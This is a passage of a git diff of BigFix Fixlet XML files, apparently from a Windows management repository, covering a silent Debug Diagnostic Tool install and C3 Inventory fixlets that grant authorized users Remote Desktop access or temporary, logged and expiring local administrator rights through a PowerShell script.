+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T12:10:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install: Debug Diagnostic Tool v2 Update 1 TODO: Add Relevance</Title>
+    <Description><![CDATA[<P>This task will deploy: Debug Diagnostic Tool v2 Update 1.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Software Distribution Wizard</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-06-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 19:10:12 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
+//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
+
+begin prefetch block
+	add prefetch item name=DebugDiag.msi sha1=e50ba364d41a0db7a8055345892164832858fe81 size=22421504 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
+	add prefetch item name=DebugDiag.msi sha1=627f063bb42e9016ddc0eee27db57e1f694154c7 size=17412096 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
+end prefetch block
+
+wait "{pathname of system folder & "\msiexec.exe"}" /i "{(pathname of client folder of current site) & "\__Download\DebugDiag.msi"}" /qn /norestart
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install_Update_ Debug Diagnostic Tool v2 Update 1 - Windows (6063).bes b/Sites/Windows Management/Fixlets/Fixlets/Install_Update_ Debug Diagnostic Tool v2 Update 1 - Windows (6063).bes
index 0477b4244..d09af1087 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Install_Update_ Debug Diagnostic Tool v2 Update 1 - Windows (6063).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install_Update_ Debug Diagnostic Tool v2 Update 1 - Windows (6063).bes	
@@ -1,55 +1,55 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Install/Update: Debug Diagnostic Tool v2 Update 1 - Windows
-  ID       : 6063
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-12T12:24:43
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Install/Update: Debug Diagnostic Tool v2 Update 1 - Windows</Title>
-    <Description><![CDATA[<P>This task will deploy: Debug Diagnostic Tool v2 Update 1.</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance><![CDATA[not exists keys whose(value "DisplayName" of it as string contains "Debug Diagnostics" AND value "DisplayVersion" of it as string as version >= "2.1.0.7") of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of (x64 registries;x32 registries)]]></Relevance>
-    <Category>Software Distribution</Category>
-    <Source>Software Distribution Wizard</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2014-06-03</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 12 May 2015 19:23:29 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
-//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
-
-begin prefetch block
-	if{x64 of operating system}
-		add prefetch item name=DebugDiag.msi sha1=e50ba364d41a0db7a8055345892164832858fe81 size=22421504 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
-	else
-		add prefetch item name=DebugDiag.msi sha1=627f063bb42e9016ddc0eee27db57e1f694154c7 size=17412096 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
-	endif
-end prefetch block
-
-wait "{pathname of system folder & "\msiexec.exe"}" /i "{(pathname of client folder of current site) & "\__Download\DebugDiag.msi"}" /qn /norestart
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install/Update: Debug Diagnostic Tool v2 Update 1 - Windows
+  ID       : 6063
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T12:24:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install/Update: Debug Diagnostic Tool v2 Update 1 - Windows</Title>
+    <Description><![CDATA[<P>This task will deploy: Debug Diagnostic Tool v2 Update 1.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[not exists keys whose(value "DisplayName" of it as string contains "Debug Diagnostics" AND value "DisplayVersion" of it as string as version >= "2.1.0.7") of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of (x64 registries;x32 registries)]]></Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Software Distribution Wizard</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-06-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 19:23:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
+//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
+
+begin prefetch block
+	if{x64 of operating system}
+		add prefetch item name=DebugDiag.msi sha1=e50ba364d41a0db7a8055345892164832858fe81 size=22421504 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
+	else
+		add prefetch item name=DebugDiag.msi sha1=627f063bb42e9016ddc0eee27db57e1f694154c7 size=17412096 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
+	endif
+end prefetch block
+
+wait "{pathname of system folder & "\msiexec.exe"}" /i "{(pathname of client folder of current site) & "\__Download\DebugDiag.msi"}" /qn /norestart
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows (22607).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows (22607).bes
index 0a5d7c521..a2ab05e55 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows (22607).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows (22607).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows
-  ID       : 22607
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-11T17:08:13
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet adds the currently logged on user, who is an Authorized Admin Requestor, to the Remote Desktop Users group permanently.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
-    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
-    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );  (   (   set of ( /*Users and Groups in Administrators */    sids of members of local group &quot;administrators&quot; as string)   ) + (   set of ( /*Users and Groups in Remote Desktop Users */    sids of members of local group &quot;remote desktop users&quot; as string)   )  ) )</Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;remote desktop access.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /add
-</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows
+  ID       : 22607
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-11T17:08:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the currently logged on user, who is an Authorized Admin Requestor, to the Remote Desktop Users group permanently.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );  (   (   set of ( /*Users and Groups in Administrators */    sids of members of local group &quot;administrators&quot; as string)   ) + (   set of ( /*Users and Groups in Remote Desktop Users */    sids of members of local group &quot;remote desktop users&quot; as string)   )  ) )</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;remote desktop access.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /add
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows (24153).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows (24153).bes
index f7faad235..52777b38d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows (24153).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows (24153).bes	
@@ -1,808 +1,808 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows
-  ID       : 24153
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:24:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet adds the currently logged on user, who is an Authorized Admin Requestor, to the administrators group temporarily.</P>
-<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
-    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
-    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((if (exists sids of groups of logged on user of active directory) then (sids of groups of logged on user of active directory) else (nothing)) as string); /*User Group Memberships. If Statement helps protect against bogus AD Cache results.*/   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for 1 hour.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 1*hour}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action25204">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for&amp;nbsp;8 hours.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 8*hour}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
